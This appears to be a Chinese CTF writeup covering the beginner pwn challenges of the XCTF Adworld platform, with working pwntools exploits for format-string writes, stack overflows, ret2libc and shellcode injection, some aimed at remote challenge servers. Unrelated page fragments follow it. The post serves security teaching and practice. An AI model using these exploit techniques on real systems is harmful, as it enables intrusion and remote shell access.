攻防世界新手区pwn writeup
CGfsb
- 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050
- 下载文件后,使用file命令查看。
- 32位的文件,用ida打开,F5查看伪代码。
- printf漏洞:https://www.cnblogs.com/cfans1993/articles/5619134.html
- 思路:
- 找到pwnme的地址
- 把pwnme的地址写到s里面
- printf输出8个字节,然后用%n把8写入到pwnme里面
- 步骤:
- 利用ida直接找到pwnme的地址,为0x804a068
- 找到s相对format参数的偏移量,可以看到,传递message的变量s,被存储在0xbffff628地址内,此时0xbffff600对应printf的format参数在栈中的位置,所以偏移量为10,对应构造
%10$n。 - 构造payload:(pwnme地址)+"aaaa"+"%10$n"
- 利用ida直接找到pwnme的地址,为0x804a068
- pwntools:
from pwn import *
context.log_level = 'debug'
DEBUG = int(sys.argv[1])
if DEBUG == 1:
p = process('./cgfsb')
else:
p = remote('111.198.29.45',58350)
pwnme_addr = 0x0804A068
payload1 = "aaaa"
payload2 = p32(pwnme_addr) + 'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print p.recv()
print p.recv()
- 运行结果:
When did you born
- 文件类型
- 运行测试
- IDA查看反汇编伪代码,v5等于1926能拿到flag,但之前有一个判断,不让输入1926
- IDA调试,观察栈
- 输入生日1111,在栈中找到v5的位置
- 输入名字abcdefghijk
- 看到v4部分覆盖了v5,所以我们要构造的payload格式应该是8chars+'\x86'+'\x07'
- 输入生日1111,在栈中找到v5的位置
- pwntools代码
from pwn import *
p=remote(ip,port)
p.sendafter('Your Birth?',str(0)+'\n')
p.sendafter(' Your Name?','a'*8+p64(1926))
p.interactive()
- 运行结果
hello_pwn
- 下载后反汇编用IDA查看伪代码,发现有一个函数用于显示flag,重命名为showflag
- 显然,只要把dword_60106C赋值为1853186401就可以了,我们发现,输入aaaaaaaaaaaaaaaaa,其中一部分会覆盖dword_60106C,所以payload的格式应该是4chars+1853186401
- pwntools代码
from pwn import *
p = process("./637f5c201bf94c128c8c22e4d6e9cef3")
p.sendline('a'*4+p32(1853186401))
p.interactive()
- 本地测试
- 远程
level0
- 检查保护
- 反汇编后发现callsystem函数调用了shell
- vulnerable_function函数存在栈溢出漏洞,考虑覆盖返回值
- 输入128个a和bbbbcccc后,可以看到,刚好到达返回地址,所以payload格式为128+8个char+callsystem地址
- exp如下
from pwn import *
p = remote('111.198.29.45',54531)
elf = ELF("./level0")
sysaddr = elf.symbols['callsystem']
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()
- 运行结果
level2
- 查看程序保护
- IDA查看反汇编伪代码,存在栈溢出漏洞
- 程序中含有system函数和"/bin/sh"字符串
- exp如下
from pwn import *
elf = ELF('./level2')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
#io = remote('111.198.29.45',40579)
io = process("./level2")
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()
guess num
- 查看文件类型
- 检查程序保护
- 运行测试
- IDA反汇编
- 可以看到,每次数字都是一个随机数,而且随机数的种子是在gets之前的,所以我们可能有机会覆盖seed
- 查看栈,可以发现,输入name确实可以覆盖到seed
- exp:(循环里用sendafter和recvuntil都跑不动,只好手动了)
from pwn import *
from ctypes import * elf = ELF('./guess')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io = process('./guess')
#io = remote("111.198.29.45",58174) payload = 32 * 'a' + p64(1)
io.sendafter("Your name:", payload) libc.srand(1) for i in range(10):
num = str(libc.rand()%6+1)
print num+" ", io.interactive()
- 运行结果
cgpwn2
- 检查保护
- 反汇编
- 我们可以看到程序里面有system函数,但是没有"/bin/sh"字符串,但是name变量是全局的,我们可以尝试把字串放到name变量里
- exp:
from pwn import *
elf = ELF('./cgpwn2')
io = process('./cgpwn2')
#io = remote("111.198.29.45",58174)
payload = 42 * 'a' + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x0804A080)
shstr = "/bin/sh"
io.recvuntil("name")
io.sendline(shstr)
io.recvuntil("here:")
io.sendline(payload)
io.interactive()
int overflow
- 查看保护
- 运行测试
- 反汇编,发现有一个函数已经有显示flag的功能了,但是并没有被调用,可以考虑返回地址溢出,在密码检查的函数中,我们看到,字符串长度被赋给了uint8类型,这里会发生截断,而在正确的分支,s字符串会被strcpy使用。
- 整数溢出:由于int是32位,而int8是8位,我们可以在最后8位伪造长度,骗过长度检测,使用"0000 1000"(8)作为最后8位。
- 栈中返回地址被覆盖(长度263)
- payload格式:0x14个char + 4个char + 地址(占4个char) + 0xeb个char
- exp
from pwn import *
elf = ELF('./intover')
io = process('./intover')
#io = remote("111.198.29.45",51548)
io.recvuntil("choice:")
io.sendline('')
io.recvuntil("username:")
io.sendline("aaa")
io.recvuntil("passwd")
io.sendline('a'*0x14 + 'a'*4 + p32(elf.symbols['what_is_this']) + 0xea*'a')
io.interactive()
string
- 查看保护
- 反汇编,发现一个格式化字符串漏洞,一处强制转化位函数指针
- 我们只要把shellcode写入v1就可以了
- 逆推,我们要使a1[0]和a1[1]一样
- a1在上一级函数中是一个指针
- a1也就是在main中的v4,也就是v3,我们通过secret[0]得到地址
- 这里可以在v2写入v3[0]的地址,然后通过格式化字符串漏洞,在v3[0]中写入85,使v3[0]==v3[1]
- 寻找format在栈中的位置,偏移量为7
- exp:
from pwn import *
#io = remote('111.198.29.45','41410')
io = process("./string")
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("character's name be:")
io.sendline("tiumo")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()
- 运行结果:
level3
- 先查看保护
- 反汇编,很直白的栈溢出
- GOT表与PLT表:https://blog.csdn.net/qq_18661257/article/details/54694748
- ret2libc攻击:https://blog.csdn.net/guilanl/article/details/61921481
- exp(本地不能执行,但远程可以,不知道为什么)
#-*-coding:utf-8-*-
from pwn import * #io = process('./level3')
io = remote('111.198.29.45',55186)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6') write_plt = elf.plt['write']
vul_addr = elf.symbols['vulnerable_function']
got_addr = elf.got['write'] payload1="a"*0x88 + 'aaaa' + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr = u32(io.recv(4))
print write_addr libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_sh = libc.search('/bin/sh').next()
system_addr = write_addr + (libc_system-libc_write) #用相对地址计算真实地址
sh_addr = write_addr + (libc_sh-libc_write) payload2 = 'a'*0x88 + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
攻防世界新手区pwn writeup的更多相关文章
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- 攻防世界新手Misc writeup
ext3 在Linux,使用root账户挂载linux文件,打开后使用find *|grep flag查找到一个flag.txt,打开后是base64编码,解码获得flag. give_you_fla ...
- dice_game攻防世界进阶区
dice_game XCTF 4th-QCTF-2018 前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西. 考察的知识点是: 1.cdll_loadlibrary加载对应库使得 ...
- 攻防世界Hello,CTF writeup
解题过程 首先在ida中进行反汇编,查看main函数的代码: 代码的的36行处进行了一个字符串比较,如果v10的值等于v13的值会反馈一个success的输出.v13的值在第15行给出,因此需要知道v ...
- 攻防世界-新手篇(Mise)~~~
Mise this_is_flag 签到题flag{th1s_!s_a_d4m0_4la9} pdf 打开图片,flag值在图片底下,wps将pdf转为word格式后,将图片拉开发现flag flag ...
- 攻防世界进阶区MISC ——56-60
56.low 得到一张bmp,世纪之吻,扔进kali中,binwalk,zsteg,无果,再放进stegsolve中,虽然发现小的数据块,但是过滤通道得不到任何信息,猜测是要用脚本进行 # lsb隐写 ...
- 攻防世界pwn高手区——pwn1
攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...
- 进阶区forgotg攻防世界
攻防世界进阶区--forgot 前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西. 但是就是中看不中用 3.ida ...
- 攻防世界-MISC:base64stego
这是攻防世界新手练习区的第十一题,题目如下: 点击下载附件一,发现是一个压缩包,点击解压,发现是需要密码才能解密 先用010editor打开这个压缩包,这里需要知道zip压缩包的组成部分,包括压缩源文 ...
随机推荐
- java 获取随机数的方法
方法一: (数据类型)(最小值 + Math.random()*(最大值-最小值+1) ); 示例: (int)(1+Math.random()*(10-1+1)): 获取int类型 1-10的随机数 ...
- MariaDB使用enum和set
1.enum 单选字符串数据类型,适合存储表单界面中的“单选值”. 设定enum的时候,需要给定“固定的几个选项”:存储的时候就只存储其中的一个值. 设定enum的格式: enum("选项1 ...
- Web前端开发——HTML基本标签
标题h1-h6 只有h1到h6,没有h7. 一个页面建议只有一个h1 普通文字大小大约介于h3~h4 段落p 段内换行br 段内分组span 预留格式pre 水平线hr
- Spring Boot 中application.yml与bootstrap.yml的区别(转)
yml与properties其实yml和properties文件是一样的原理,且一个项目上要么yml或者properties,二选一的存在. 推荐使用yml,更简洁. bootstrap与applic ...
- 08 saltstack生产实例-apahce+php+redis
1.apache+php 前几章的LAMP:https://www.cnblogs.com/venicid/p/11276232.html#_label2 Php放在apache 1.目录结构 2.p ...
- 自己封装的Java excel数据读取方法
package org.webdriver.autotest.data; import jxl.Workbook; import jxl.Sheet; import jxl.Cell; import ...
- vivo 手机 video 标签无法播放视频解决方案
1. 针对 vivo 手机单独设置 video 标签加上 controls 此时video 可以点击播放,但是有进度条存在. 2. 将 video 隐藏,用一张图片定位在在 video 所在的位置,点 ...
- luoguP1739 表达式括号匹配 x
P1739 表达式括号匹配 题目描述 假设一个表达式有英文字母(小写).运算符(+,—,*,/)和左右小(圆)括号构成,以“@”作为表达式的结束符.请编写一个程序检查表达式中的左右圆括号是否匹配,若匹 ...
- noi.ac #546 分组
题目链接:戳我 题目描述 现在有n个字符串,你需要从中选出一些字符串,使得选出的字符串能被分组,满足每组大小为2,且可以从每组选出该组的两个字符串的一个非空公共后缀,使得每组选出的串互不相同. 输入格 ...
- sh_21_遍历字典的列表
sh_21_遍历字典的列表 students = [ {"name": "阿土"}, {"name": "小美"} ] ...